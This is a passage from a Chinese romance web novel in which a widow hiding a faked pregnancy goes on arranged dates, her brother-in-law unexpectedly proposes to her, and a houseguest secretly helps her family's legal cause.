但是父亲骤然离世,他按下消息暂时不发,利用这几天的时间让敬渝赶来首都面谈,在讣告公布之前,给他留了点时间转圜,这点面子,他还是愿意卖的。 至于今晚,他们究竟能谈什么,谈得怎么样,又能谈到什么地步,一开始,自己心里并没有底。 可眼前这个年轻人漏夜前来,晓之以情,动之以理,许之以利,确实是运筹帷幄、杀 伐果断,已然在这短短的一个小时时间里,将事情的后续走向给定了下来。 只不过,费尽心思,只为了替舒家翻案么? 他疑惑,亦有不解。 眼前的男人没有多说,只是作揖郑重一礼,算作回答,然后面色沉沉地说了一句“节哀”,告辞离开。 。 下午,昼米尔市。 一辆车从敬宅驶出,这还是舒纯熙回到昼米尔市后,第二次出门。 敬亭的葬礼举办了三天,这期间,舒纯熙除了见过父亲交代给她的那几个人,也曾经在路上遇到其他同她寒暄的人。 有的与她礼貌性地客套,有的,则是给她递了名片。 半小时车程后,舒纯熙坐在一家私密性绝佳的咖啡厅会所里,对面的是一个长相儒雅的男人,带着金丝框眼镜,看上去比她大四五岁的模样。 这是舒纯熙和刘云溪第一次见面,对方是江大的副教授,主攻生物科技领域,是个妥妥的学霸。 而现在,是一场面对面的相亲。 虽然年纪比刘云溪小,但舒纯熙比刘云溪要放得开一点,她一向对于能够由自己主导的事情比较有耐心,也乐于掌握主动权,同面前有些腼腆的男人展开了话题,试图聊起来。 “刘先生既然在江大工作,那也是江大毕业的嘛?” 刘云溪放下手中的茶,动作幅度很小地点了一下头,回答道: “我是江大的本硕博连读。” 看他这个年纪,想来上的就是少年班了,就是那种十几岁就上了江大,然后一路本硕博早早毕业的天才学霸。 舒纯熙笑了笑,露出一口洁白整齐的牙齿,道: “我也是江大毕业的,不过我只念了本科。” 说起来,她这个志愿还是敬渝帮忙参考的呢,不过说是参考,其实用“内定”更准确一点,因为敬渝那时候已经在江大就读两年了。 第20章 放眼整个维尔亚,昼米尔市的江大称得上是一座数一数二的综合类高等学府,与之并肩的还有北省的首都大学和惊云学院、中省的云先河学院。 当然,一直以来,也有许多维尔亚的达官贵人选择安排孩子出国去留学,从纽因洲到埃拉洲,海外各国的高等学府也有不少维尔亚人的身影。 舒纯熙高考填报志愿的时候,写的是离家最近的江大。 当然,她之所以会选择江大,肯定不只是因为“离家近”这一个好处——进了江大,她就又能每天都看得到敬渝,还能一起吃饭,就像她高一那时候时一样。 舒纯熙想到这个,目光停留在眼底的花茶水面,上面印出她一双没有什么笑意的眼睛,透过这双眼睛,她看见自己像是一株暴雨后的玉兰花树,那雨水涤荡了粗壮的树干,繁茂的树枝,把油绿绿的叶子都洗刷地干干净净。 余下的只有平静。 而那颗玉兰树呢,在清晨的日光投下第一缕之后,睁开双眼后却没有焕然一新的欣喜,她只是默默地垂首,检查起了一地的落花与狼藉。 伸出手,端起身前矮脚桌上的瓷杯,女人轻抿一口玫瑰花茶,起初有些涩,回味又是甘甜与酸味共同绽放在舌根。 游刃有余地跟刘云溪继续聊了几句无关紧要的,但脑海里,好像已经心不在焉了。 舒纯熙突然有点想知道,敬渝填报志愿的那时候,他为什么会选择上江大? 他们家有不少人都在国外上的大学,比如敬亭,那为什么,他就留在了维尔亚,在江大读大学呢? 她不知道,但很快也就把这一点小小疑惑给抛到脑后了。 刘云溪跟自己是第一次见面,所以一起吃晚餐与否都没关系。 她是这么想的,刘云溪大概也是。 喝完半杯茶,两个人也就礼貌性地在咖啡馆门口分别了。 之后两天,舒纯熙上午见一位,下午也见一位,每日早出晚归,在外面用完晚餐再回敬宅。 行程安排得紧凑,许久没有跟生人交际,脑子里充斥着一大堆细枝末节的信息,她却还是耐着性子,面上表现得游刃有余,你来我往地同人交谈着。 第三天晚上,舒纯熙在几声早夏的蝉鸣里回到敬宅。 走完上二楼的台阶,转角向左,就能看见宗正等在她的房间门外,倚着二楼的栏杆,右手抱着一束白色玫瑰花,不知道等得久不久。 意料之中,她轻挑眉头,胸膛里好像正荡漾开一朵水莲花,轻飘飘的。 高跟鞋踩在地板上清脆的声音丝毫不掩饰,闲庭信步,女人悠悠然朝高大的男人走去。 宗正寻声转过身,头还保持着原先地角度低垂着,和他微微向前弯曲的脊椎始终保持着一个角度,视线轻落在舒纯熙带着精致妆容的面庞上。 他自从进了敬宅就没有出去过,那所谓要在南省谈的生意根本就是个幌子。 所以这两天,只有他一个人每天二十四小时在敬宅待着,舒纯熙出门的事情,他并非一无所察。 至于她去做什么了,他也已经清楚,否则此时也不会站在这里。 女人也没有刻意掩饰她的行踪,难得地上了妆,唇上抿着淡粉色的口红,弥补了先前葬礼那几天她的惨淡气色。 头发烫了波浪形的大卷,俏生生地搭在肩后。 舒纯熙穿着一条颜色介于白与淡粉之间的长裙,臂上原先的黑色袖套在葬礼之后就已经摘下,朝自己款款而来。 勾起唇冲她淡淡一笑,宗正将花捧到她身前,她一伸手就能够到的地方,却没有立刻开口,只是往她面前又凑了一些。 面对送上门来的花,舒纯熙也不扭捏,眨了眨眼,端详了一下面前的这束花,看它绸缎般质感的花瓣,洁白的颜色,黑黝黝的眼珠随着上下打量的动作,细微地转动了一下。 “送给我的?” “对啊。” 宗正被她问得忍俊不禁,但她还没有伸手接过去,不知想到什么,他嘴角的笑意有些收敛起来,转而低低地叹息了一声,凝视着她的发顶,对她说: “听说这几天你出门去相亲了,不知道进展得怎么样了?” 这倒不是舒纯熙想听的答案,她立刻微皱了一下鼻子,目光从花上移开,往后退了半步,顺势仰起头,遥遥地跟宗正对视着。 宗正本就曲着腰低头看她,这样一来,她的气势倒显得比他还高出半截,如同睥睨俯视着他一样。 “挺好的,各有各的长处,长得也合我眼缘,我都有点纠结了。” 这几句话她没怎么犹豫地就说出口,语速轻快,说完真的陷入纠结思索的模样。 “家父今天给我打了电话,催我早点回北省,我应该在南省逗留不了太久了。” 宗正干笑两声,神色不明,但还是叹气,将花塞到她手上,这才完成了交接,然后又说: “我和宗家的诚意始终都在,如果你选择我,宗家会助舒家一臂之力……你手上应该有一些证据吧。” 舒纯熙拥着花,两只手下意识地攥成个拳头状。 要宗正给出承诺,并不容易。 她偏转头望向吊顶上的那盏华丽耀眼的水晶灯,半晌,才默默地开口,“我想见一个人,你有办法帮我安排么?” 。 敬渝一行人在第四天中午回到了昼米尔市,跟一开始他和舒纯熙交代的时间没差一分一毫。 虽然是轻装简行,但到底出了一趟远门,敬渝也没有再回公司,直接回了家,又打发跟着自己一起去首都的十几个人,都各回各家好好休整一天。 敬渝回来之前没有通知李阿姨和柳叔,车子驶入庄园时差不多是饭点,他走上楼很快换了身衣服再下楼。 但餐厅里只有宗正一个人,他也不知道宗正为什么还没有走。 敬渝扯扯嘴角,同宗正互相问候,然后走到自己的位子上,拉开椅子坐了下去。 一边的宗正看着碗里喝到一半的汤,余光瞄到主人家落座后就一直没有动筷,一时间也不知道是该继续吃,还是应该 怎么办。 谁叫敬渝回来的时候他这饭都开始吃了,但主人家回来,到底闹了点动静,自己虽然没受影响接着吃了,但他进来之前,又没有吃完,现在就是这样一幅不上不下很尴尬的情景。 他花了一分钟时间,在心里面猜测敬渝是不是在等什么人,好在没过多久,敬渝自己也发现了异样,直接侧转头朝着厨房门外站着的佣人问了一句: “二夫人呢,她在房里吃午餐么?” 他知道有时候她会这样。 与此同时,听到这话的宗正有点心虚地把汤勺上的一勺骨头汤放进嘴里,听到那佣人回答敬渝,“敬总,二夫人出门去了,今天不在家里吃午餐。” 敬渝本来在等舒纯熙下楼吃饭,没见她下来,他又理所当然地觉得她可能是不想下楼吃饭,但他心里根本没想到,还有“她不在家”这个选项。 现在听到的这个回答,完全在他的意料之外。 她出门去了? 敬渝压下心里面紧随其后的“她去哪里了”“她出门去干嘛了”,没再说什么,“嗯”了一声之后,也拿起碗筷,埋头开始吃饭。 吃完饭,敬渝没有立刻回书房,在客厅里跟宗正应付了两句,又在书房外的小院转了两圈,才把李阿姨叫进书房来。 李阿姨知道敬渝回来之后应该会问舒纯熙的情况,一进门就对着坐在书桌后面的人,一五一十地都说了。 然后敬渝就知道,舒纯熙这几天都会出门一整天,并且不会回家吃饭。 “所以,她也不吃早餐?” “二夫人这几天早上出房门的时候就已经穿戴好了,紧接着就出门,我请她吃点早餐再走,她会说没胃口,实在吃不下去……我就让人用纸袋包了三明治和牛角包,还有一瓶牛奶,让她带上,饿了再吃。她实在推辞不过我的话就会带上,所以我觉得,应该是在路上吃了。” 敬渝半晌没有吭声,修长的食指点在手边的椅子扶手上,一下,一下,像是在思索什么,总算才说出口,低声问了句: “那你知道,她出门是去干什么了吗?” 这话一说出口,他又后悔了。询问她在家里吃住得如何,尚且算得上是关心她的生活,可现在话说出口,总还是觉得自己不应该窥探她的行踪。 不过,李阿姨应该也不知道吧,除非她主动跟李阿姨报备或者交代过什么。那她要是自己主动说过了,他问一下应该也没什么关系吧。 李阿姨还真知道,不过并不是敬渝所想的那样,而是柳叔跟她提过一嘴,毕竟车辆出行还有保镖安排,都是柳叔的工作范畴。 她默默地把柳叔给供出来,然后在敬渝的默认下,打电话把柳叔也给叫到书房来了。 然而柳叔艺高人胆大,话一出口,实在是惊掉人半个下巴,他当着李阿姨的面直接跟敬渝说: “二夫人这几天出门都是去咖啡馆、茶馆一类的地方,每半天会见一个年龄相仿的男士,对方都是西装革履的青年才俊,所以我推测,二夫人有可能是在相亲。” 说完,他长舒一口气,而身边的李阿姨瞪大了双眼,一副“不是老柳头,前天你可不是这么说的啊”的模样。 看完他,李阿姨又赶紧转过头来看书桌后的敬渝。【你现在阅读的是 】 20-30 第21章 只见椅子上的人缓慢地皱起了眉头,身子向前一探,手从扶手上拿起来,转而两手交握着放在桌上,目光定定地落在桌面上,有些不虞地反驳道: “这都哪跟哪儿啊,柳叔你不要胡说。” “哎敬总你可不能这样说啊,二夫人这几天见的可都是异性,而且年龄还跟她差不多,要不就是比她稍微大几岁的样子。同龄,还是陌生的异性,两个人往那儿一坐,一聊就是一上午,除了相亲我也猜不出是别的什么了。” 柳叔挠挠头,但气势很足,摆明了“我猜的就是对的你还真别不信”。 敬渝被他的话一说,有点无可奈何地“嗤”得笑出一声,扶额又淡淡地笑了一会儿。 “……不可能。” 且不说敬亭刚走没过半年,她不会这么快就考虑这种事,她如今还怀着孩子呢,怎么可能会去相亲? 退一万步说,就算她真的是去相亲了,人家能接受这个孩子吗? 实在是捕风捉影的无稽之谈。 他摆摆手,打发两人出去。 放下心来,顺便站起身,走到沙发旁边,又拿起上次读到一半的书,摊在腿上,继续往后翻,动作随意,但看得还算认真。 但翻页的那点空当,神思一溜,脑海中竟然真的响起来她那天的话来。 她总不会是…… 敬渝迟疑了起来,手掌捏着那页纸一动不动地僵住,然后,脸上露出了一点疑惑来。 可一旦顺着自己想的那种可能性推测下去,他又不得不感到迷惑。 她现在到底打算做什么? 就带着这种迷惑,敬渝再也看不下去手里的书,坐在书房思索了起来。 他一面同自己说这一定不可能,一面又不禁会陷入苦思冥想,就这样纠结了一下午,直到夜幕降临,舒纯熙在晚饭前回来了。 上楼换了身衣服、洗了手,直到步入餐厅,舒纯熙看见敬渝也坐在餐桌旁,才知道他今天已经回来了。 宗正看见她进来时就已经站起身,从左手边主位上坐着的敬渝身后绕过去,替舒纯熙拉开了靠门厅的第一个椅子。 舒纯熙冲他抿嘴一笑,然后坐下,宗正才又回到自己的座位上。 虽然宗正的举动算不得手到擒来,但整个过程并不尴尬,仿佛水到渠成一般,只不过他和舒纯熙之间,还没有那么熟稔而已。 想了一下午的问题还没有着落,而借住在家里的客人已然当着自己的面,给舒纯熙献起了殷勤。 敬渝坐在一旁看完了整个过程的发生,眼底终于蒙上一层淡淡的阴翳,看着宗正的眼神探究里已经带上了一点不善。 好在除了这个举动,餐桌上宗正没有更多的举动。 三个人各自揣着自己心里面的事,心照不宣地保持着安静,在餐桌上用完晚餐。 舒纯熙一向是餐桌上第一个告辞离开的人,今天亦是,只不过她站起身后,没什么胃口的敬渝随即也站了起身,跟着她一起走出了饭厅。 舒纯熙对于跟在自己身后一起离开餐厅的人,感到有点奇怪,他一声不吭地,像是就要跟在自己身后一样,可从餐厅出来,不管去哪里,他们都是要同路几分钟的,她也没有理由怀疑什么。 大概是从来没遇上过这种情况,舒纯熙还是停下脚步,有点疑惑地回过头,歪了歪头,盯着敬渝看了一眼。 而被盯着的人原先的目光,是落在她的脑后的,此刻恰巧对上,桃花眼眨了眨,语气寻常地说: “要不要一起去散步?” 他的邀约让舒纯熙觉得莫名其妙,他们好像也不是可以一起饭后消食的关系吧。 但他幽深的眼神又明晃晃地在说,他其实是有事要找她,并不是真的只是邀请她去走走。 扯了扯唇角,舒纯熙不置可否,在敬渝继续向前走之后,落后了他几步,跟在了他身后,默认了他来带路的意思。 敬宅后面有很大的花园,西面是一片茂密的树林和淡水湖,再往北就是乱石园,而整片树林和乱石园加在一起的占地长度,才是东面后花园的长度。 敬渝记得,以前舒纯熙挺喜欢这个花园的。 被园丁打理得很好的大片绿茵草坪,规划得当的各色奇珍异草,颇有雅趣的石子小路弯弯绕绕,还有一些露天的藤椅沙发,和一个梧桐木做的摇椅样式的秋千。 确实是很闲适的赏景地点。 敬渝想着,于是走到这边,两个人在初夏还未完全暗下的黄昏天里 ,踏上小径,在几丛鲁冰花面前停了下来。 淡紫色和橙黄色的鲁冰花开得热烈,颜色犹如渐变,只不过在黯淡的天光下看不太清楚,只能勉强辨别出花朵的颜色来。 舒纯熙凝眸,目光落在花上没有移开,但也不会像曾经那样,跑上前去伸出手摸摸那些花的质感、再丈量一下叶子的宽大。 她没有那样悠闲和热情的心情。 想得有些出神,原本先停下来看花的人不知何时朝自己走近了两步,缩短了和她之间的距离。 舒纯熙视若罔闻,依旧低着头没有抬起。 终于,敬渝开口说话了,他问道: “我不在的这几天,你在家里一切都好吗,没遇到什么难事吧?” “嗯,”她应了一声,淡淡地说,“没有。” 敬渝听得出来,她还是没有什么要跟自己交谈的欲望,所有的话,只不过是被他推着问一句,她应付着回答一句,仅此而已。 所以,所有的委婉和试图让彼此放松一点的开场白,大概对她来说都是没有用的。 一口气堵在胸口,上不来也下不去,闷得慌,敬渝抚住一片叶子,握在手里,还是开门见山地问了: “听说你这几天都出门去见人了,如果你遇到什么事情了,有什么是我可以帮忙的吗?” 身旁的女人总算侧过头来望向他了,目光里带着点不算友善的笑意,敬渝不知道为什么,总觉得她的表情像是在看自己笑话一样。 应该是他想多了。 抚着叶子的手有点发虚地收了回来,在腰侧下意识地揩了两下,手掌抵在衣服上,对面是不会回答他问题的人,他叹了口气,在这无声的拉锯战里,认输似的闭上了双眼,缓慢地继续说道: “纯熙,之前去北省的行程过于突然,我让人准备的一份文件还没来得及给你。我知道敬亭的一部分遗产留给你了,但是国内的暮帆商会这边,我给你和孩子额外留了一份财产,我已经签过字了,明天我拿给你,你签好字给我,我让人去办财产变更手续,尽快过户到你的名下。” 说完,舒纯熙面上那种玩味的笑容退散了一些,带着点打量,冲他偏了偏头, “这算什么,对我的补偿?” 一声轻叹,尽管抑制着发出,却还是被她的耳朵给捕捉到了,敬渝努力勾起一个唇角的弧度,让自己看起来不那么地苦涩, “敬亭的事,我很抱歉,但是事已至此,我只能在这些方面做出点弥补,请你见谅。” “奥”了一声,舒纯熙煞有其事地点了点头,“行啊。” 她想敬渝应该会很大方,他能拿得出手的东西,不会是三瓜俩枣,看他想弥补自己的心还是很真诚的。 没有推辞,没有客套,没有嘲讽,加在一起只有三个字。 敬渝盯着眼前的这个比自己矮一个头的女人,心里升起一种莫名的颓败,他有点泄气,只好接着说道: “后面这段时间你不用担心别的事,好好养胎,把孩子平安生下来,至于孩子生下来以后,你是想带它回莫瑞恩尔,还是留在昼米尔,都听你的,一切由你做主。” 舒纯熙依旧是一个“奥”。 敬渝没了办法,破罐子破摔一样,伸出脚轻轻一踢,把脚边的一颗碎石子踢到土里,直接问道: “你这几天见的都是些什么人?” 舒纯熙并不意外敬渝知道了,她本也没打算瞒着,更何况,如果李阿姨不知道,宗正又怎么会知道呢?而且,她早晚要跟敬渝说这件事的。 于是她说,“我去相亲啊。” 敬渝以为自己听错了,他眯了眯眼睛,却只看见舒纯熙一脸坦然的样子。 他很快就觉得匪夷所思起来,脑子里的思绪像是到了一块断崖面前,怎么都过不去了。 “你去相亲,你为什么要去相亲?……你要再嫁?” “对啊。” “可,可是,你还怀着孩子呢?” “我不是跟你说了么,我总得给孩子找个爸爸吧?” “你不是认真的吧?”敬渝蹙起眉头,语气不觉已经严厉起来,“给孩子找一个毫无血缘关系的名义上的爸爸,真的会比你带着孩子留在敬家更好吗?敬家完全可以保护你们,而且我也会帮你一起照顾孩子,它的成长过程里不会缺少任何别的孩子都有的东西。你还有什么不放心的?” 舒纯熙皮笑肉不笑地发出一声“哼”。 不得不说,敬渝说的挺有道理的,但问题是,这个孩子根本就不存在,她骗了敬渝,不赶紧想办法离开敬家,难道等着他发现真相之后跟自己算账么? 舒纯熙眨了眨眼睛, “可是孩子不能没有名义上的父亲,你对它再好,终究只是大伯而已,大伯能代替父亲么?” 敬渝尽力压制着自己的情绪,但还是忍不住被舒纯熙给气笑了,他真的理解不了,她怎么能心安理得地告诉自己,她要带着敬家的孩子一起改嫁到别人的家里的。 这都叫什么事儿? 还口口声声地说非要给孩子找一个父亲,父亲有什么用?一个诈尸式教育里的父亲角色,有或没有,能有什么区别吗? “你一定要给孩子找一个父亲?无论如何都不会罢休?” 舒纯熙本来只是找个借口,但眼看着敬渝把这问题问得比自己说得还要绝对,又不能在这紧要关头认怂,只能硬着头皮迎上去,在心里猛地跺了一下脚,咬着牙拔高了声音,道: “对啊,我一定要找!” “那你留在敬家,我当孩子的爸爸!” 耳边传来几乎是咬着牙低吼出来的一句话,舒纯熙瞬间傻了眼,然后眼看着说这句话的人,脸已经彻底沉下来了,隐约在夜色里,看上去有种说不出的阴郁和严肃。 “你,你什么意思啊?” 舒纯熙狐疑地打量了一下站在面前,如同一尊石像般伫立着的男人,气势已经被惊得弱了下去。 敬渝终于把那句话说出口了,双手有些惭愧地蜷起来,但心却在此刻拨云见月,逐渐坚定了起来。好像真的把第一句话吐露出去之后,剩下的话也就没有那么难开口了。 他拧紧眉头,郑重又缓慢地说: “我的意思是,你不要再去相亲了,也不要想着再嫁给别人,你就留在敬家,我们两个结婚,孩子生下来,就说是我们俩的孩子,我来做孩子的爸爸。” 舒纯熙已经很久没有做出这么明显的表情了,她紧蹙着眉头,目光里的疑惑毫不掩饰,头颅动弹了一下,把敬渝从上到下好好给打量了一下,半晌,才吐出来几个字,有点急切地把话给扔到了地上, “你有病吧?!” 第22章 说完,好像敬渝真的是什么疯子一样,她一眼都没再多看,立刻转过身,连走带跑地往家里回。 一直走到上楼的楼梯跟前,舒纯熙才扶住把手停下,喘了几口气,身下的两条腿脚全然都麻了,轻飘飘地不听自己使唤。 敬渝刚刚说的那话是什么意思? 他现在脑子不太清醒吧? 猛地摇摇头,舒纯熙连忙“咦”了一声,把脑子里止不住冒出来的想法都给扫出去,然后再一鼓作气,上了楼回到自己的房间,先去冲了个热水澡。 吹完头发放下吹风机,门外的声音总算听得清楚,李阿姨在外面敲门,说是有东西给她。 舒纯熙把吹风机放回原地后就去开门,而门外的李阿姨拿着一个托盘,上面放着一个两根手指般大小的木雕,雕的是一个小人,头上还带着一顶比他身子还长的辣椒形红帽子。 “二夫人,这是敬总托我送过来的,说是纳布礼斯那边 的手工特产,是用火山灰做的,还有带来好运气的意头呢。” 说着,门外的人不知道按了哪一个开关,那红帽子周遭萦绕出来红色的亮闪闪的荧光星点,想来是精灵族人的小把戏。 这年头,凛洲关于精灵族的东西是有些微妙的,两族并不明面上进行贸易往来,但也没有法令禁制,有些小东西还是会在凛洲内流通开来。 不过精灵族人如今的灵力都很弱,要达到眼前这东西身上长时间的魔法储存,大概是有点稀奇。 李阿姨介绍了两句,瞄着舒纯熙脸上没有出现一点预设中的高兴反应,有点讪讪地将东西往她面前递了递。 而舒纯熙只是迟疑地盯着那小玩意儿看了看,抿唇问: “为什么突然送我这个?” 而且这东西长得也不算太好看,最多能往有趣那方向上靠一靠。 不年不节,没有任何理由的,总不能说是他去一趟北省,还特意搜罗了礼物带回来给自己吧? 舒纯熙上下打量了一下托盘上的这个东西,只觉得它浑身上下都透露着一种诡异来,无论是它本身,还是送它的人。 至于所谓的能带来好运,她更是不怎么相信的。 过去她还在波利的时候,家里有一个精灵族的年长女佣幻息,她跟幻息还算亲近,将她当成是自己姐姐一般的人物。 幻息会一些精灵族人天赋的祝福魔法,舒纯熙就曾撞见过她在角落偷偷替自己跟敬亭念祝福术语。 那时候舒纯熙并没有戳破,但心里也清楚大概并没有什么作用,因为敬亭始终都是那个样子。 祝福的魔法是不起什么效果的。 想着,舒纯熙的目光就有些飘忽了。 再看对面的李阿姨,她此时只想伸出手抹了抹额头上的汗,看来舒小姐完全没有要领情的意思,只好连忙解释道: “这是敬总今天带回来的礼物,他给自己也买了一个,托敬总挂念,我和老柳也有一份……” 言下之意,是人人都有,她不用奇怪。 舒纯熙这才收回探究的神色,伸手把那小玩意儿拿在手上,扯了扯嘴角,道: “这样啊,谢谢李阿姨。” 李阿姨很努力地笑了笑,然后转身离开。 等到李阿姨下了楼,宗正才从走廊里走出来,往舒纯熙的房门口走去,房内的那人还站在原地,手里握着个什么东西,好像在走神,并没有立刻把门关上。 看见宗正的身影,舒纯熙向后退了一步,示意他进来说话。 两个人一前一后走到了阳台上,上一次宗正来这儿,还是他第一次跟她谈那件事的时候,现在,事情已经谈妥,两个人自然也就表现得更放松了。 宗正走到藤椅旁,伸手抚在靠背旁,顺势走过去,坐在了对面。 “一切都顺利吗今天?” 他指的自然是舒纯熙今天去见周政的事情,对外,就连柳叔也以为,她今天依旧是在相亲,这其中少不了宗正的帮助。 也是在今天,舒纯熙才终于见上了自己一直想见却始终错失机会的人,她父亲曾经的直系下属,周副司长。 “挺顺利的,多亏了你费心,谢谢。” 舒纯熙也坐了下来,抬头望远处黑乎乎的天空,语调里听不出什么情绪,像是海上传来缥缈的鸥鸣。 “我们的事,我准备等下次去探监的时候就告诉我父母,然后……就定下来吧。” 宗正颔首,看见舒纯熙正无意识地揪紧了膝上的两只手掌,随即将视线默默地移开,然后说, “好,听你的。” “……嗯。” 。 另一边,敬渝还僵着身体站在原地。 舒纯熙丢下他走了,他有心去追,但终究还是偃旗息鼓。 她那句气急败坏的“你有病吧”像是一击重锤,把他的双脚牢牢给钉在了地上。 她说得对,他确实是有病吧。 他也觉得自己好像发烧了。 不然怎么会遇上眼前这所有的事情,不然他怎么会没办法解释这一堆接踵而来的难题? 他一直以为,她要回国来安胎生子,以为她至少会在昼米尔待上一年半载。 他知道在她面前,自己现在的身份很尴尬,他们之间隔了那两年,还隔了另一个人,所以他只能告诫自己要扮演好一个大伯哥的角色,做他该做的事情就行了。 至于其他的东西,他不该想,也没有他去多想的资格。 他一直是这么以为的,也是这么做的。 然后,直到今天他才知道,她根本就不是像自己以为的那样去想的。 她竟然这么快就开始考虑再嫁的事情了! 是上次探监的时候,舒家伯父伯母那么交待的她么?还是从一开始,她要回维尔亚来,就是存着这样的心思? 所以这次又是那样么,又是她很快地做了决定,然后想办法丢下他,把他隔离在外,于是等到下一次见面的时候,她就又要成为别人的妻子了么? 敬渝攥紧了手,脑海里原先所有的认知和计划全部都被推到了一边,此时此刻心乱如麻,压根也已经顾不上那些忌讳和规矩了。 一切都没有意义了,原来,敬家只是她中途停歇的站点,只是她临时停靠的一块泊板而已。 她要走了,她又要走了。 什么也不会给他留下。 心里面那一直以来隐藏在底下、连自己都不敢真的去面对的思绪,在思绪乱成一团糟的时候,也终于压制不住,要跑出来作乱了。 敬渝摇了摇头,却无力阻止心里的那个自己开始叫嚣、开始发狂。 他之前总觉得,现在她好歹是回来了,那他们还会有很长的时间去相处。 不管她是不是还在怨恨自己当年的事,不管她还要跟自己生多久的气,他们总还是有时间去消弭这一切的,他可以等,也可以慢慢去弥补她。 水滴穿石,聚沙成塔。 就算他现在还没有找到办法让她原谅自己,让他们之间的相处可以不要那么的冷漠,但只要她还在自己跟前,还跟自己处在同一栋房子里,总有一天他是会找到办法的。 总会找到一个让她不那么抵触、而他也终于可以再向她迈开一步的方法,总有那么一个平衡点,他会找到的。 但她没有给自己留时间了。 她已经开始考虑再嫁了,很快就要再次离开敬宅,再次离开他的视线。 出题人把考题毫不犹豫地收回去了。 这一切都发生得太措不及防了,完全出乎他的意料。 敬渝捂住胸口,胸腔里的心脏却越跳越快,挤压着他喉中最后的一点新鲜空气。 心里的那个声音破土而出,直截了当地催促起了他。 那个模糊的身影已经在眼前化为了一片悠扬的薄纱,如果他再不用力去抓,大概就要彻底消散,再也寻不到半点踪迹了。 不行! 脑中的一根弦“铮”的一声彻底断开,他在心里大吼了一声,脚已经抬起,下意识地就往回朝主楼快步走回去。 这一次,他没有去书房,径直上楼,回了自己的房间。 敬渝在自己的卧室里待的时间一向有限,除了睡觉、洗漱穿衣,几乎不会多做停留。 男人进了房门,伸手打开灯,忽然就放缓了脚步,一步比一步踏得沉重,来到左边的床头柜前,顺势坐到了床上,然后轻柔地拉开最上面的抽屉。 底部的滚轮发出一点声音,没多久被打开一个缝儿,几百个日子不曾见光的抽屉里,霎时投下半片顶灯的白光。 抽屉很空,除了一个绸缎材质的淡粉 色小方盒外,没有别的东西。 抿紧双唇的人,目光凝滞地盯着那个盒子看了好一会儿,然后才下定决心,伸手把它拿了出来,牢牢握在了掌心里。 盒子里放着的戒指,是珠宝设计大师奥丁铭灵去世前的最后一个作品。 奥丁铭灵晚年行迹不定,离群索居,对于珠宝商和杂志记者的厌恶不加掩饰,拒绝在公开场合刊登这枚戒指的设计稿和成品照片。 是以,关于戒指的样子和下落至今众说纷纭,很少有人清楚,它如今究竟在谁的手里。 二十五岁那年,这是敬渝准备好的婚戒。 但它漂洋过海送到手上的时候,敬渝刚从莫瑞恩尔回来。 它来得太晚了,终究是他没选好时机。 现在想起来,终究像是一场幻梦一样,一帧一帧跳动得毫无逻辑秩序,发生得又太快,让人没有一点招架之力。 那时候的心尖也像是被一层层纱布给裹紧了一样,分明密不透风地进行过包扎了,却还是挡不住那些不甘和难过渗漏出来,日子一天一天的过,最后全都酿成了浓浓的遗憾。 敬渝没时间沉浸在对过去的缅怀中,手里的盒子四棱抵着掌心的皮肉,攥得发红,那幻痛反而像火舌般卷在心头,把阻隔他尽情感受自己情绪的东西都给燃烧殆尽。 现在他只知道,这一次,绝不能再让她离开自己,他也绝不会再放手了。 。 这一夜一觉睡到天亮,睁开眼后,舒纯熙立刻皱起了眉头,脑子里昨天敬渝说的话和宗正的脸庞,走马灯似的在脑海里循环播放了起来。 一旦思虑起来,脑子就不受控制地停不下来。 她头疼地敲了敲脑袋,从床上坐起身来。 早餐桌上,宗正先向敬渝和舒纯熙告辞,说下午就启程回北省。 敬渝跟他客套了两句生意上的事情,祝他一路顺利。 就这样,午饭之后,两人把宗正送到了大门口。 柳叔让人把宗正的行李搬上车,三个人站在大门口的石柱旁话别。 敬渝跟宗正并没有几句话好说的,反倒是宗正有意无意地拉着舒纯熙嘱咐了两句。 诸如天气渐热也不要贪凉,再者就是西面湖边的睡莲不久应该会开,他给她报个早信,建议她若想第一批赏花,最近可以多注意。 然后,舒纯熙竟然还破天荒地笑着应了下来,那笑容虽淡,但并不勉强。 他怎么不知道这两个人什么时候关系这么好了? 最后,宗正弯了弯眼睛,说,“纯熙,敬总,那我先走了,咱们后会有期。” 第23章 敬渝皮笑肉不笑地看着宗正登上车,又目送车驶远,脸立刻沉了下来,望着远处幽幽地琢磨了一下这声“纯熙”。 宗正不是说自己算得上是舒纯熙的远方表哥么,怎么现在又叫上“纯熙”了? 于是他又转身去看舒纯熙,但身旁哪里还有人,她早在宗正上车不久后就转身往回走了。 吃完午饭,身体正努力地消化着胃里的食物,大脑供血不足,舒纯熙理所当然地感觉到困倦,但她困归困,并不想去午睡。 既然宗正提了一嘴西边的睡莲,趁着天边正好有一片云彩遮住了太阳,走在露天的环境下也不会觉得晒,她转过身后,索性直接穿过主楼,往西边的树林走。 步子不慢,舒纯熙走到那一小片睡莲前的木头桥上才停下脚步。 昼米尔市的气候颇为奇怪,常被居民戏称为“一年只有两季”,严冬刚过,一场春雨下过,天气就会突然炎热起来,待到了盛夏过后,再下一场雨,落一地的秋叶,转眼就会过冬了。 实话实说,昼米尔市的气候其实并不温和,算不上太宜居。 不过这里到底是舒纯熙从小长大的地方,这么多年来,这种天气变化早就刻在骨子里,如果不是后面有两年在波利市的生活经历,她根本不会觉得有什么奇怪的。 而且,一年四季里,她偏爱的还是夏季,这时候的一切都热烈极了,无论是花草树木,还是鲜果菜蔬,都长到了一生中最当季的时刻。 当然,这些都是以前的她的想法。 现在她还是喜欢,可是她总觉得,自己的喜欢,已经不怎么重要了,毕竟她自己也重视不起来。 湖边的睡莲浮着袖珍的翠绿莲叶,有几个花骨朵确实像宗正说的那样,从水里冒头,最中间花片合在一起的地方,透出一点点打头的颜色,说不定在某个幽静的夜里,忽然会绽放开来也不一定。 舒纯熙杵在桥上,静静地望了一会儿,却没什么更多的兴味,反而有些心不在焉。 正好先前那片云彩也已经被风推走了,太阳光没有一点遮挡地照在身上,两袖的面料很快就被照得暖和起来。 一手搭在额边,一面转过身往回走,舒纯熙随着心意,鬼使神差地就走到了昨天跟敬渝散步的花园里面。 不远处就是两株参天大树,高大的树冠在树下辟出一片树荫,那底下放置着一架摇椅秋千。 她还记得以前夏日午后,自己坐在那秋千上面乘凉的场景。 从小身体就有点虚,即使到了夏天,她依旧怕凉,空调房里的温度稍有不适,她就要加一件外套,从头到脚把自己给包裹起来,漏一点风就会觉得不舒服。 所以昼米尔的夏天,大太阳炙烤着大地,所有人都躲在空调房里“人工纳凉”的时候,会跑到那秋千底下乘凉的,也就只有自己一个人而已。 